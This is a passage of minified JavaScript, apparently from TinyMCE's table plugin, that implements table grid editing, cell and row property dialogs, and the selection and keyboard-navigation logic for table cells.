n=vr(e)+"px";wu(e,q.some(n),q.none()),gi(e)},Ea=function(e){$n(e,"width");var n=tt(e);A(0<n.length?n:nt(e),function(e){$n(e,"width"),gi(e)}),gi(e)},Pa="bar-",Na=function(n,e,t){return n.property().isText(e)&&0===n.property().getText(e).trim().length||n.property().isComment(e)?t(e).bind(function(e){return Na(n,e,t).orThunk(function(){return q.some(e)})}):q.none()},za=function(e,n){var t=Na(e,n,e.query().prevSibling).getOr(n);if(e.property().isText(t))return hi(t,vi(e,t));var r=e.property().children(t);return 0<r.length?za(e,r[r.length-1]):hi(t,vi(e,t))},La=za,_a=Zt(),Wa=en("th"),ja=function(e){var n=k(e,function(e){return Wa(e.element)});return 0===n.length?q.some("td"):n.length===e.length?q.some("th"):q.none()},Fa=xi,Ha=Ri,Va=Di,qa=function(t){return{isValue:x,isError:v,getOr:C(t),getOrThunk:C(t),getOrDie:C(t),or:function(e){return qa(t)},orThunk:function(e){return qa(t)},fold:function(e,n){return n(t)},map:function(e){return qa(e(t))},mapError:function(e){return qa(t)},each:function(e){e(t)},bind:function(e){return e(t)},exists:function(e){return e(t)},forall:function(e){return e(t)},toOptional:function(){return q.some(t)}}},Ua=function(t){return{isValue:v,isError:x,getOr:S,getOrThunk:function(e){return e()},getOrDie:function(){return e=String(t),function(){throw new Error(e)}();var e},or:S,orThunk:function(e){return e()},fold:function(e,n){return e(t)},map:function(e){return Ua(t)},mapError:function(e){return Ua(e(t))},each:E,bind:function(e){return Ua(t)},exists:v,forall:x,toOptional:q.none}},Ga={value:qa,error:Ua,fromOption:function(e,n){return e.fold(function(){return Ua(n)},qa)}},$a=en("col"),Ka=en("colgroup"),Xa=["body","p","div","article","aside","figcaption","figure","footer","header","nav","section","ol","ul","table","thead","tfoot","tbody","caption","tr","td","th","h1","h2","h3","h4","h5","h6","blockquote","pre","address"],Ya=Zt(),Ja=Sc("thead",!0),Qa=Sc("tbody",!1),Za=Sc("tfoot",!1),ef=zl("th"),nf=zl("td"),tf=zi(function(e,n,t,r){var o=n[0].row;return yc(I(Cc(n),function(e,n){return{grid:nc(e.grid,o,n.row+e.delta,t,r.getOrInit),delta:e.delta+1}},{grid:e,delta:0}).grid,o,n[0].column)},_i,E,E,Nl),rf=zi(function(e,n,t,r){var o=Cc(n),u=o[o.length-1],i=u.row+u.rowspan;return yc(I(o,function(e,n){return nc(e,i,n.row,t,r.getOrInit)},e),i,n[0].column)},_i,E,E,Nl),of=zi(function(e,n,t,r){var o=n.details,u=fc(o),i=u[0].column;return yc(I(u,function(e,n){return{grid:tc(e.grid,i,n.column+e.delta,t,r.getOrInit),delta:e.delta+1}},{grid:e,delta:0}).grid,o[0].row,i)},kc(!0),Rc,E,Nl),uf=zi(function(e,n,t,r){var o=n.details,u=o[o.length-1],i=u.column+u.colspan;return yc(I(fc(o),function(e,n){return tc(e,i,n.column,t,r.getOrInit)},e),o[0].row,i)},kc(!1),Rc,E,Nl),cf=zi(function(e,n,t,r){var o,u,i=fc(n.details),c=(o=e,u=O(i,function(e){return e.column}),N(o,function(e){var n=e.cells,t=I(u,function(e,n){return 0<=n&&n<e.length?e.slice(0,n).concat(e.slice(n+1)):e},n);return 0<t.length?[ye(e.element,t,e.section,e.isNew)]:[]})),l=0<c.length?c[0].cells.length-1:0;return yc(c,i[0].row,Math.min(i[0].column,l))},function(n,e){return Wi(n,e).map(function(e){return{details:e,pixelDelta:-Ac(n,e)}})},Rc,vc,Nl),lf=zi(function(e,n,t,r){var o,u,i,c,l=Cc(n),a=(o=l[0].row,u=l[l.length-1].row,c=(i=gt(e)).rows,i.cols.concat(c.slice(0,o)).concat(c.slice(u+1))),f=0<a.length?a.length-1:0;return yc(a,Math.min(n[0].row,f),n[0].column)},_i,E,vc,Nl),af=zi(function(e,n,t,r){return yc(lc(e,O(fc(n),function(e){return e.column}),!0,t,r.replaceOrInit),n[0].row,n[0].column)},Wi,E,E,ef),ff=zi(function(e,n,t,r){return yc(lc(e,O(fc(n),function(e){return e.column}),!1,t,r.replaceOrInit),n[0].row,n[0].column)},Wi,E,E,nf),sf=zi(Ja,Wi,E,E,ef),mf=zi(Qa,Wi,E,E,nf),df=zi(Za,Wi,E,E,nf),gf=zi(function(e,n,t,r){return yc(ac(e,n,t,r.replaceOrInit),n[0].row,n[0].column)},Wi,E,E,ef),pf=zi(function(e,n,t,r){return yc(ac(e,n,t,r.replaceOrInit),n[0].row,n[0].column)},Wi,E,E,nf),bf=zi(function(e,n,t,r){var o=n.cells;return bc(o),wc(function(e,n,t){var r=gt(e).rows;if(0===r.length)return e;for(var o=n.startRow;o<=n.finishRow;o++)for(var u=n.startCol;u<=n.finishCol;u++){var i=r[o],c=st(i,u).isLocked;ft(i,u,we(t(),!1,c))}return e}(e,n.bounds,r.merge(o)),q.from(o[0]))},Fi,xc,E,Ll),hf=zi(function(e,n,t,r){return wc(I(n,function(e,n){return Vi(e,n,t,r.unmerge(n))},e),q.from(n[0]))},Hi,xc,E,Ll),vf=zi(function(e,n,t,r){var o,u,i=(o=n.clipboard,u=n.generators,Mi($t.fromTable(o),u,!0));return Qi({row:n.row,column:n.column},e,i,n.generators,t).fold(function(){return wc(e,q.some(n.element))},function(e){return yc(e,n.row,n.column)})},function(n,t){return et(t.element).bind(function(e){return Pi(n,e).map(function(e){return K(K({},e),{generators:t.generators,clipboard:t.clipboard})})})},xc,E,Nl),wf=zi(function(e,n,t,r){var o=gt(e).rows,u=n.cells[0].column,i=o[n.cells[0].row];return yc(Zi(u,e,Tc(n.clipboard,n.generators,i),n.generators,t),n.cells[0].row,n.cells[0].column)},Ic(!0),E,E,Nl),yf=zi(function(e,n,t,r){var o=gt(e).rows,u=n.cells[n.cells.length-1].column+n.cells[n.cells.length-1].colspan,i=o[n.cells[0].row];return yc(Zi(u,e,Tc(n.clipboard,n.generators,i),n.generators,t),n.cells[0].row,n.cells[0].column)},Ic(!1),E,E,Nl),Cf=zi(function(e,n,t,r){var o=gt(e).rows,u=n.cells[0].row,i=o[u];return yc(ec(u,e,Tc(n.clipboard,n.generators,i),n.generators,t),n.cells[0].row,n.cells[0].column)},Li,E,E,Nl),Sf=zi(function(e,n,t,r){var o=gt(e).rows,u=n.cells[n.cells.length-1].row+n.cells[n.cells.length-1].rowspan,i=o[n.cells[0].row];return yc(ec(u,e,Tc(n.clipboard,n.generators,i),n.generators,t),n.cells[0].row,n.cells[0].column)},Li,E,E,Nl),Tf=function(e,n){var i=$t.fromTable(e);return _i(i,n).bind(function(e){var n=e[e.length-1],o=e[0].row,u=n.row+n.rowspan;return function(){var e=O(i.all.slice(o,u),function(e){return Ci(e).type}),n=y(e,"header"),t=y(e,"footer");if(n||t){var r=y(e,"body");return!n||r||t?n||r||!t?q.none():q.some("footer"):q.some("header")}return q.some("body")}()}).getOr("")},xf={styles:{"border-collapse":"collapse",width:"100%"},attributes:{border:"1"},colGroups:!1},Rf=tinymce.util.Tools.resolve("tinymce.util.Tools"),Df=[{text:"None",value:""},{text:"Top",value:"top"},{text:"Middle",value:"middle"},{text:"Bottom",value:"bottom"}],Of=/^#?([a-f\d])([a-f\d])([a-f\d])$/i,Af=/^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i,kf=/^rgb\((\d+),\s*(\d+),\s*(\d+)\)/,If=/^rgba\((\d+),\s*(\d+),\s*(\d+),\s*(\d?(?:\.\d+)?)\)/,Bf=function(e){return O(e,function(e){var n=e.text||e.title;return Qc(e)?{text:n,items:Bf(e.menu)}:{text:n,value:e.value}})},Mf=function(t,r,e,o,a){return O(e,function(e){var u,i,c,l,n=e.text||e.title;return Qc(e)?{type:"nestedmenuitem",text:n,getSubmenuItems:function(){return Mf(t,r,e.menu,o,a)}}:{text:n,type:"togglemenuitem",onAction:function(){return a(e.value)},onSetup:(u=t,i=r,c=o,l=e.value,function(t){function e(){function e(e){return u.formatter.match(c,{value:l},e.dom,o)}var n=Ql(i);o?(t.setActive(!R(n,e)),r.set(u.formatter.formatChanged(c,function(e){return t.setActive(!e)},!0))):(t.setActive(z(n,e)),r.set(u.formatter.formatChanged(c,t.setActive,!1,{value:l})))}var r=Yc(function(e){return e.unbind()}),o=!ne(l);return u.initialized?e():u.on("init",e),r.clear})}})},Ef=function(e){return N(e,function(e){return Qc(e)?[K(K({},e),{menu:Ef(e.menu)})]:ne(e.value)?[e]:[]})},Pf=[{name:"width",type:"input",label:"Width"},{name:"height",type:"input",label:"Height"},{name:"celltype",type:"listbox",label:"Cell type",items:[{text:"Cell",value:"td"},{text:"Header cell",value:"th"}]},{name:"scope",type:"listbox",label:"Scope",items:[{text:"None",value:""},{text:"Row",value:"row"},{text:"Column",value:"col"},{text:"Row group",value:"rowgroup"},{text:"Column group",value:"colgroup"}]},{name:"halign",type:"listbox",label:"Horizontal align",items:[{text:"None",value:""},{text:"Left",value:"left"},{text:"Center",value:"center"},{text:"Right",value:"right"}]},{name:"valign",type:"listbox",label:"Vertical align",items:Df}],Nf={normal:il(!1),ifTruthy:il(!0)},zf=P(fl,["left","center","right"],"align"),Lf=P(fl,["top","middle","bottom"],"valign"),_f=[{type:"listbox",name:"type",label:"Row type",items:[{text:"Header",value:"header"},{text:"Body",value:"body"},{text:"Footer",value:"footer"}]},{type:"listbox",name:"align",label:"Alignment",items:[{text:"None",value:""},{text:"Left",value:"left"},{text:"Center",value:"center"},{text:"Right",value:"right"}]},{label:"Height",name:"height",type:"input"}],Wf=function(e,n,t,r){if("TD"===n.tagName||"TH"===n.tagName)T(t)?e.setStyle(n,t,r):e.setStyle(n,t);else if(n.children)for(var o=0;o<n.children.length;o++)Wf(e,n.children[o],t,r)},jf={remove_similar:!0,inherit:!1},Ff=K({selector:"td,th"},jf),Hf={tablecellbackgroundcolor:K({styles:{backgroundColor:"%value"}},Ff),tablecellverticalalign:K({styles:{"vertical-align":"%value"}},Ff),tablecellbordercolor:K({styles:{borderColor:"%value"}},Ff),tablecellclass:K({classes:["%value"]},Ff),tableclass:K({selector:"table",classes:["%value"]},jf),tablecellborderstyle:K({styles:{borderStyle:"%value"}},Ff),tablecellborderwidth:K({styles:{borderWidth:"%value"}},Ff)},Vf=Lr([{none:["current"]},{first:["current"]},{middle:["current","target"]},{last:["current"]}]),qf=K(K({},Vf),{none:function(e){return Vf.none(e=void 0===e?void 0:e)}}),Uf=function(e,n,t,r,o){void 0===o&&(o=x);var u=1===r;if(!u&&t<=0)return qf.first(e[0]);if(u&&t>=e.length-1)return qf.last(e[e.length-1]);var i=t+r,c=e[i];return o(c)?qf.middle(n,c):Uf(e,n,i,r,o)},Gf=function(e,n,t,r){return{start:e,soffset:n,finish:t,foffset:r}},$f=Lr([{before:["element"]},{on:["element","offset"]},{after:["element"]}]),Kf={before:$f.before,on:$f.on,after:$f.after,cata:function(e,n,t,r){return e.fold(n,t,r)},getStart:function(e){return e.fold(S,S,S)}},Xf=Lr([{domRange:["rng"]},{relative:["startSitu","finishSitu"]},{exact:["start","soffset","finish","foffset"]}]),Yf={domRange:Xf.domRange,relative:Xf.relative,exact:Xf.exact,exactFromRange:function(e){return Xf.exact(e.start,e.soffset,e.finish,e.foffset)},getWin:function(e){var n=e.match({domRange:function(e){return Ve.fromDom(e.startContainer)},relative:function(e,n){return Kf.getStart(e)},exact:function(e,n,t,r){return e}});return Ve.fromDom(tn(n).dom.defaultView)},range:Gf},Jf=function(e,n){return e.selectNodeContents(n.dom)},Qf=Lr([{ltr:["start","soffset","finish","foffset"]},{rtl:["start","soffset","finish","foffset"]}]);function Zf(e,n,t){return n>=e.left&&n<=e.right&&t>=e.top&&t<=e.bottom}function es(t,r,e,n,o){function l(e){var n=t.dom.createRange();return n.setStart(r.dom,e),n.collapse(!0),n}var u=Et(r).length,i=function(e,n,t,r){if(0===r)return 0;if(e===t)return r-1;for(var o=t,u=1;u<r;u++){var i=l(u).getBoundingClientRect(),c=Math.abs(e-i.left);if(n<=i.bottom){if(n<i.top||o<c)return u-1;o=c}}return 0}(e,n,o.right,u);return l(i)}function ns(e,n){return n-e.left<e.right-n}function ts(e,n,t){var r=e.dom.createRange();return r.selectNode(n.dom),r.collapse(t),r}function rs(n,e,t){var r=n.dom.createRange();r.selectNode(e.dom);var o=ns(r.getBoundingClientRect(),t);return(!0===o?Wo:jo)(e).map(function(e){return ts(n,e,o)})}function os(e,n,t){var r=ns(n.dom.getBoundingClientRect(),t);return q.some(ts(e,n,r))}function us(e,n){var t=Ye(e);return"input"===t?Kf.after(e):y(["br","img"],t)?0===n?Kf.before(e):Kf.after(e):Kf.on(e,n)}function is(e,n){var t=e.fold(Kf.before,us,Kf.after),r=n.fold(Kf.before,us,Kf.after);return Yf.relative(t,r)}function cs(e,n,t,r){var o=us(e,n),u=us(t,r);return Yf.relative(o,u)}function ls(e){return q.from(e.getSelection())}function as(e,n){ls(e).each(function(e){e.removeAllRanges(),e.addRange(n)})}function fs(e,n,t,r,o){as(e,Rl(e,n,t,r,o))}function ss(l,e){return Al(l,e).match({ltr:function(e,n,t,r){fs(l,e,n,t,r)},rtl:function(o,u,i,c){ls(l).each(function(e){if(e.setBaseAndExtent)e.setBaseAndExtent(o.dom,u,i.dom,c);else if(e.extend)try{t=i,r=c,(n=e).collapse(o.dom,u),n.extend(t.dom,r)}catch(e){fs(l,i,c,o,u)}else fs(l,i,c,o,u);var n,t,r})}})}function ms(e,n,t,r,o){ss(e,cs(n,t,r,o))}function ds(e,n,t){ss(e,is(n,t))}function gs(e){if(0<e.rangeCount){var n=e.getRangeAt(0),t=e.getRangeAt(e.rangeCount-1);return q.some(Gf(Ve.fromDom(n.startContainer),n.startOffset,Ve.fromDom(t.endContainer),t.endOffset))}return q.none()}function ps(e){if(null===e.anchorNode||null===e.focusNode)return gs(e);var n,t,r,o,u,i,c,l,a,f,s,m=Ve.fromDom(e.anchorNode),d=Ve.fromDom(e.focusNode);return n=m,t=e.anchorOffset,r=d,o=e.focusOffset,i=t,c=r,l=o,(a=nn(u=n).dom.createRange()).setStart(u.dom,i),a.setEnd(c.dom,l),f=a,s=ce(n,r)&&t===o,f.collapsed&&!s?q.some(Gf(m,e.anchorOffset,d,e.focusOffset)):gs(e)}function bs(e,n,t){as(e,((t=void 0===t||t)?Tl:Sl)(e,n))}function hs(e){return ls(e).filter(function(e){return 0<e.rangeCount}).bind(ps).map(function(e){return Yf.exact(e.start,e.soffset,e.finish,e.foffset)})}function vs(e,n,t){return Zs(e,n,(o=Nu,Cl(r=t,void 0).fold(function(){return qf.none(r)},function(e){return Uf(e.all,r,e.index,1,o)})));var r,o}function ws(e,n){var t=kl(e,n);return Gf(Ve.fromDom(t.startContainer),t.startOffset,Ve.fromDom(t.endContainer),t.endOffset)}function ys(e,n){return{item:e,mode:n}}function Cs(e,n,t,r){return void 0===r&&(r=Ks),e.property().parent(n).map(function(e){return ys(e,r)})}function Ss(n){return function(e){return 0===n.property().children(e).length}}function Ts(e,n){return am(sm,e,Ss(sm),n)}function xs(e,n){return fm(sm,e,Ss(sm),n)}function Rs(e){return In(e,"tr")}function Ds(e){return"br"===Ye(e)}function Os(e,n,t,r){var o,u,i,c,l,a,f;return(Ds(n)?(o=e,(i=r).traverse(u=n).orThunk(function(){return pm(u,i.gather,o)}).map(i.relative)):(c=e,l=r,an(a=n,f=t).filter(Ds).orThunk(function(){return an(a,f-1).filter(Ds)}).bind(function(e){return l.traverse(e).fold(function(){return pm(e,l.gather,c).map(l.relative)},function(e){return rn(r=e).bind(function(n){var t=ln(n);return gm(t,r).map(function(e){return{parent:n,children:t,element:r,index:e}})}).map(function(e){return Kf.on(e.parent,e.index)});var r})}))).map(function(e){return{start:e,finish:e}})}function As(e,n){return{left:e.left,top:e.top+n,right:e.right,bottom:e.bottom+n}}function ks(e,n){return{left:e.left,top:e.top-n,right:e.right,bottom:e.bottom-n}}function Is(e,n,t){return{left:e.left+n,top:e.top+t,right:e.right+n,bottom:e.bottom+t}}function Bs(e){return{left:e.left,top:e.top,right:e.right,bottom:e.bottom}}function Ms(e,n){return q.some(e.getRect(n))}function Es(e,n,t){return gn(n)?Ms(e,n).map(Bs):pn(n)?(r=e,o=n,(0<=(u=t)&&u<Lo(o)?r.getRangedRect(o,u,o,u+1):0<u?r.getRangedRect(o,u-1,o,u):q.none()).map(Bs)):q.none();var r,o,u}function Ps(e,n){return gn(n)?Ms(e,n).map(Bs):pn(n)?e.getRangedRect(n,0,n,Lo(n)).map(Bs):q.none()}function Ns(n,e,r){return Rn(function(e,n){return n(e)},Dn,e,gc,void 0).fold(v,function(e){return Ps(n,e).exists(function(e){return(n=r).left<(t=e).left||Math.abs(t.right-n.left)<1||n.left>t.right;var n,t})})}function zs(n,t,e){var r,o=n.move(e,5),u=vm(t,n,e,o,100).getOr(o),i=u,c=t;return((r=n).point(i)>c.getInnerHeight()?q.some(r.point(i)-c.getInnerHeight()):r.point(i)<0?q.some(-r.point(i)):q.none()).fold(function(){return t.situsFromPoint(u.left,n.point(u))},function(e){return t.scrollBy(0,e),t.situsFromPoint(u.left,n.point(u)-e)})}function Ls(a,f,s,e,m){return In(e,"td,th",f).bind(function(l){return In(l,"table",f).bind(function(e){return n=e,Dn(m,function(e){return rn(e).exists(function(e){return ce(e,n)})},void 0).isSome()?(o=t=a,u=r=f,i=c=s,o.getSelection().bind(function(r){return Os(u,r.finish,r.foffset,i).fold(function(){return q.some(hi(r.finish,r.foffset))},function(e){var n=o.fromSitus(e),t=dm.verify(o,r.finish,r.foffset,n.finish,n.foffset,i.failure,u);return dm.cata(t,function(e){return q.none()},function(){return q.none()},function(e){return q.some(hi(e,0))},function(e){return q.some(hi(e,Lo(e)))})})}).bind(function(e){return ym(t,r,e.element,e.offset,c,20).map(t.fromSitus)}).bind(function(n){return In(n.finish,"td,th",f).map(function(e){return{start:l,finish:e,range:n}})})):q.none();var o,u,i,n,t,r,c})})}function _s(e,n,t,r,o,u){return He().browser.isIE()?q.none():u(r,n).orThunk(function(){return Ls(e,n,t,r,o).map(function(e){var n=e.range;return nm(q.some(rm(n.start,n.soffset,n.finish,n.foffset)),!0)})})}function Ws(e,r){return In(e,"tr",r).bind(function(t){return In(t,"table",r).bind(function(e){var n=dn(e,"tr");return ce(t,n[0])?am(sm,e,function(e){return jo(e).isSome()},r).map(function(e){var n=Lo(e);return nm(q.some(rm(e,n,e,n)),!0)}):q.none()})})}function js(e,r){return In(e,"tr",r).bind(function(t){return In(t,"table",r).bind(function(e){var n=dn(e,"tr");return ce(t,n[n.length-1])?fm(sm,e,function(e){return Wo(e).isSome()},r).map(function(e){return nm(q.some(rm(e,0,e,0)),!0)}):q.none()})})}function Fs(e,n,t,r,o,u,i){return Ls(e,t,r,o,u).bind(function(e){return om(n,t,e.start,e.finish,i)})}function Hs(e,n){return In(e,"td,th",n)}function Vs(n){return function(e){return e===n}}function qs(e){return 37<=e&&e<=40}function Us(l){return{elementFromPoint:function(e,n){return Ve.fromPoint(Ve.fromDom(l.document),e,n)},getRect:function(e){return e.dom.getBoundingClientRect()},getRangedRect:function(e,n,t,r){var o,u,i,c=Yf.exact(e,n,t,r);return i=(o=kl(l,c)).getClientRects(),0<(u=0<i.length?i[0]:o.getBoundingClientRect()).width||0<u.height?q.some(u).map(Dl):q.none()},getSelection:function(){return hs(l).map(function(e){return ws(l,e)})},fromSitus:function(e){var n=Yf.relative(e.start,e.finish);return ws(l,n)},situsFromPoint:function(e,n){return t=e,r=n,o=Ve.fromDom(l.document),Js(o,t,r).map(function(e){return Gf(Ve.fromDom(e.startContainer),e.startOffset,Ve.fromDom(e.endContainer),e.endOffset)}).map(function(e){return tm(e.start,e.soffset,e.finish,e.foffset)});var t,r,o},clearSelection:function(){ls(l).each(function(e){return e.removeAllRanges()})},collapseSelection:function(i){void 0===i&&(i=!1),hs(l).each(function(e){return e.fold(function(e){return e.collapse(i)},function(e,n){var t=i?e:n;ds(l,t,t)},function(e,n,t,r){var o=i?e:t,u=i?n:r;ms(l,o,u,o,u)})})},setSelection:function(e){ms(l,e.start,e.soffset,e.finish,e.foffset)},setRelativeSelection:function(e,n){ds(l,e,n)},selectNode:function(e){bs(l,e,!1)},selectContents:function(e){bs(l,e)},getInnerHeight:function(){return l.innerHeight},getScrollY:function(){var e=Ve.fromDom(l.document),n=void 0!==e?e.dom:document,t=n.body.scrollLeft||n.documentElement.scrollLeft,r=n.body.scrollTop||n.documentElement.scrollTop;return uo(t,r).top},scrollBy:function(e,n){var t,r=e,o=n,u=Ve.fromDom(l.document);(t=(void 0!==u?u.dom:document).defaultView)&&t.scrollBy(r,o)}}}function Gs(e,n){return{rows:e,cols:n}}function $s(e){return!1===Mu(Ve.fromDom(e.target),"ephox-snooker-resizer-bar")}Qf.ltr,Qf.rtl;function Ks(e,n,t,r){return void 0===r&&(r=um),t.sibling(e,n).map(function(e){return ys(e,r)})}function Xs(o,u,n){function t(e){Wt(e,o.selected),Wt(e,o.firstSelected),Wt(e,o.lastSelected)}function i(e){Mn(e,o.selected,"1")}function c(e){r(e),n()}function r(e){A(dn(e,o.selectedSelector+","+o.firstSelectedSelector+","+o.lastSelectedSelector),t)}return{clearBeforeUpdate:r,clear:c,selectRange:function(e,n,t,r){c(e),A(n,i),Mn(t,o.firstSelected,"1"),Mn(r,o.lastSelected,"1"),u(n,t,r)},selectedSelector:o.selectedSelector,firstSelectedSelector:o.firstSelectedSelector,lastSelectedSelector:o.lastSelectedSelector}}var Ys=function(e,n,t,r){return pn(n)?(u=n,i=t,c=r,(l=(o=e).dom.createRange()).selectNode(u.dom),H(l.getClientRects(),function(e){return Zf(e,i,c)?q.some(e):q.none()}).map(function(e){return es(o,u,i,c,e)})):(f=n,s=t,m=r,d=(a=e).dom.createRange(),H(ln(f),function(e){return d.selectNode(e.dom),Zf(d.getBoundingClientRect(),s,m)?Ys(a,e,s,m):q.none()}));var o,u,i,c,l,a,f,s,m,d},Js=document.caretPositionFromPoint?function(t,e,n){var r,o;return q.from(null===(o=(r=t.dom).caretPositionFromPoint)||void 0===o?void 0:o.call(r,e,n)).bind(function(e){if(null===e.offsetNode)return q.none();var n=t.dom.createRange();return n.setStart(e.offsetNode,e.offset),n.collapse(),q.some(n)})}:document.caretRangeFromPoint?function(e,n,t){var r,o;return q.from(null===(o=(r=e.dom).caretRangeFromPoint)||void 0===o?void 0:o.call(r,n,t))}:function(o,u,n){return Ve.fromPoint(o,u,n).bind(function(r){function e(){return e=o,t=u,(0===ln(n=r).length?os:rs)(e,n,t);var e,n,t}return 0===ln(r).length?e():function(e,n,t,r){var o=e.dom.createRange();o.selectNode(n.dom);var u=o.getBoundingClientRect();return function(e,n,t,r){var o=e.dom.createRange();o.selectNode(n.dom);var u=o.getBoundingClientRect(),i=Math.max(u.left,Math.min(u.right,t)),c=Math.max(u.top,Math.min(u.bottom,r));return Ys(e,n,i,c)}(e,n,Math.max(u.left,Math.min(u.right,t)),Math.max(u.top,Math.min(u.bottom,r)))}(o,r,u,n).orThunk(e)})},Qs=tinymce.util.Tools.resolve("tinymce.util.VK"),Zs=function(n,t,e){return e.fold(q.none,q.none,function(e,n){return Wo(n).map(function(e){return u=Yf.exact(e,0,e,0),t=u,o=Yf.getWin(t).dom,r=t.match({domRange:function(e){var n=Ve.fromDom(e.startContainer),t=Ve.fromDom(e.endContainer);return cs(n,e.startOffset,t,e.endOffset)},relative:is,exact:cs}),Al(o,r).match({ltr:n,rtl:n});function n(e,n,t,r){return Rl(o,e,n,t,r)}var t,o,r,u})},function(e){return n.execCommand("mceTableInsertRowAfter"),vs(n,t,e)})},em=["table","li","dl"],nm=function(e,n){return{selection:e,kill:n}},tm=function(e,n,t,r){return{start:Kf.on(e,n),finish:Kf.on(t,r)}},rm=tm,om=function(t,e,r,n,o){return ce(r,n)?q.none():tr(r,n,e).bind(function(e){var n=e.boxes.getOr([]);return 1<n.length?(o(t,n,e.start,e.finish),q.some(nm(q.some(rm(r,0,r,Lo(r))),!0))):q.none()})},um=function(e,n,t,r){void 0===r&&(r=um);var o=e.property().children(n);return t.first(o).map(function(e){return ys(e,r)})},im=[{current:Cs,next:Ks,fallback:q.none()},{current:Ks,next:um,fallback:q.some(Cs)},{current:um,next:um,fallback:q.some(Ks)}],cm=function(n,t,r,o,e){return w(e=void 0===e?im:e,function(e){return e.current===r}).bind(function(e){return e.current(n,t,o,e.next).orThunk(function(){return e.fallback.bind(function(e){return cm(n,t,e,o)})})})},lm=function(n,e,t,r,o,u){return cm(n,e,r,o).bind(function(e){return u(e.item)?q.none():t(e.item)?q.some(e.item):lm(n,e.item,t,e.mode,o,u)})},am=function(e,n,t,r){return lm(e,n,t,Ks,{sibling:function(e,n){return e.query().prevSibling(n)},first:function(e){return 0<e.length?q.some(e[e.length-1]):q.none()}},r)},fm=function(e,n,t,r){return lm(e,n,t,Ks,{sibling:function(e,n){return e.query().nextSibling(n)},first:function(e){return 0<e.length?q.some(e[0]):q.none()}},r)},sm=Zt(),mm=Lr([{none:["message"]},{success:[]},{failedUp:["cell"]},{failedDown:["cell"]}]),dm=K(K({},mm),{verify:function(i,e,n,t,r,c,o){return In(t,"td,th",o).bind(function(u){return In(e,"td,th",o).map(function(o){return ce(u,o)?ce(t,u)&&Lo(u)===r?c(o):mm.none("in same cell"):er(Rs,[u,o]).fold(function(){return n=u,t=(e=i).getRect(o),(r=e.getRect(n)).right>t.left&&r.left<t.right?mm.success():c(o);var e,n,t,r},function(e){return c(o)})})}).getOr(mm.none("default"))},cata:function(e,n,t,r,o){return e.fold(n,t,r,o)}}),gm=function(e,n){return b(e,P(ce,n))},pm=function(e,n,t){return n(e,t).bind(function(e){return pn(e)&&0===Et(e).trim().length?pm(e,n,t):q.some(e)})},bm=Lr([{none:[]},{retry:["caret"]}]),hm={point:function(e){return e.bottom},adjuster:function(e,n,t,r,o){var u=As(o,5);return Math.abs(t.bottom-r.bottom)<1||t.top>o.bottom?bm.retry(u):t.top===o.bottom?bm.retry(As(o,1)):Ns(e,n,o)?bm.retry(Is(u,5,0)):bm.none()},move:As,gather:xs},vm=function(t,r,o,u,i){return 0===i?q.some(u):(n=t,c=u.left,l=r.point(u),n.elementFromPoint(c,l).filter(function(e){return"table"===Ye(e)}).isSome()?(e=i-1,vm(t,r,o,r.move(u,5),e)):t.situsFromPoint(u.left,r.point(u)).bind(function(e){return e.start.fold(q.none,function(n){return Ps(t,n).bind(function(e){return r.adjuster(t,n,e,o,u).fold(q.none,function(e){return vm(t,r,o,e,i-1)})}).orThunk(function(){return q.some(u)})},q.none)}));var e,n,c,l},wm={tryUp:P(zs,{point:function(e){return e.top},adjuster:function(e,n,t,r,o){var u=ks(o,5);return Math.abs(t.top-r.top)<1||t.bottom<o.top?bm.retry(u):t.bottom===o.top?bm.retry(ks(o,1)):Ns(e,n,o)?bm.retry(Is(u,5,0)):bm.none()},move:ks,gather:Ts}),tryDown:P(zs,hm),ieTryUp:function(e,n){return e.situsFromPoint(n.left,n.top-5)},ieTryDown:function(e,n){return e.situsFromPoint(n.left,n.bottom+5)},getJumpSize:C(5)},ym=function(r,o,u,i,c,l){return 0===l?q.none():Tm(r,o,u,i,c).bind(function(e){var n=r.fromSitus(e),t=dm.verify(r,u,i,n.finish,n.foffset,c.failure,o);return dm.cata(t,function(){return q.none()},function(){return q.some(e)},function(e){return ce(u,e)&&0===i?Cm(r,u,i,ks,c):ym(r,o,e,0,c,l-1)},function(e){return ce(u,e)&&i===Lo(e)?Cm(r,u,i,As,c):ym(r,o,e,Lo(e),c,l-1)})})},Cm=function(n,e,t,r,o){return Es(n,e,t).bind(function(e){return Sm(n,o,r(e,wm.getJumpSize()))})},Sm=function(e,n,t){var r=He().browser;return r.isChrome()||r.isSafari()||r.isFirefox()||r.isEdge()?n.otherRetry(e,t):r.isIE()?n.ieRetry(e,t):q.none()},Tm=function(n,e,t,r,o){return Es(n,t,r).bind(function(e){return Sm(n,o,e)})},xm={traverse:cn,gather:xs,relative:Kf.before,otherRetry:wm.tryDown,ieRetry:wm.ieTryDown,failure:dm.failedDown},Rm={traverse:un,gather:Ts,relative:Kf.before,otherRetry:wm.tryUp,ieRetry:wm.ieTryUp,failure:dm.failedUp},Dm=Vs(38),Om=Vs(40),Am={isBackward:Vs(37),isForward:Vs(39)},km={isBackward:Vs(39),isForward:Vs(37)},Im=tinymce.util.Tools.resolve("tinymce.Env");function Bm(I,B,e){var M=Xs(Xl,function(l,a,f){e.targets().each(function(c){rt(a).each(function(e){var n,o,u,t=fi(I),r=$o(E,Ve.fromDom(I.getDoc()),t),i=(n=c,o=r,_i(u=$t.fromTable(e),n).map(function(e){var n,t,r=Mi(u,o,!1);return{upOrLeftCells:N(Ei(r.slice(0,(n=e)[n.length-1].row+1)),function(e){return O(e.cells.slice(0,n[n.length-1].column+1),function(e){return e.element})}),downOrRightCells:N(Ei(r.slice((t=e)[0].row+t[0].rowspan-1,r.length)),function(e){return O(e.cells.slice(t[0].column+t[0].colspan-1,e.cells.length),function(e){return e.element})})}}));I.fire("TableSelectionChange",{cells:l,start:a,finish:f,otherCells:i})})})},function(){I.fire("TableSelectionClear")});return I.on("init",function(e){var n,t,r,o,u,i,m,d,g,a,c,l,f,s,p,b,h=I.getWin(),v=Yo(I),w=Zo(I),y=(n=Us(h),{clearstate:(c=n,l=v,f=w,s=M,p=Jc(),(t={clearstate:b=p.clear,mousedown:function(e){s.clear(l),Hs(e.target,f).each(p.set)},mouseover:function(e){x(e)},mouseup:function(e){x(e),b()}}).clearstate),mousedown:t.mousedown,mouseover:t.mouseover,mouseup:t.mouseup}),C=(a=Us(h),{keydown:function(e,n,t,r,o,i){var u=e.raw,c=u.which,l=!0===u.shiftKey;return rr(m,g.selectedSelector).fold(function(){return 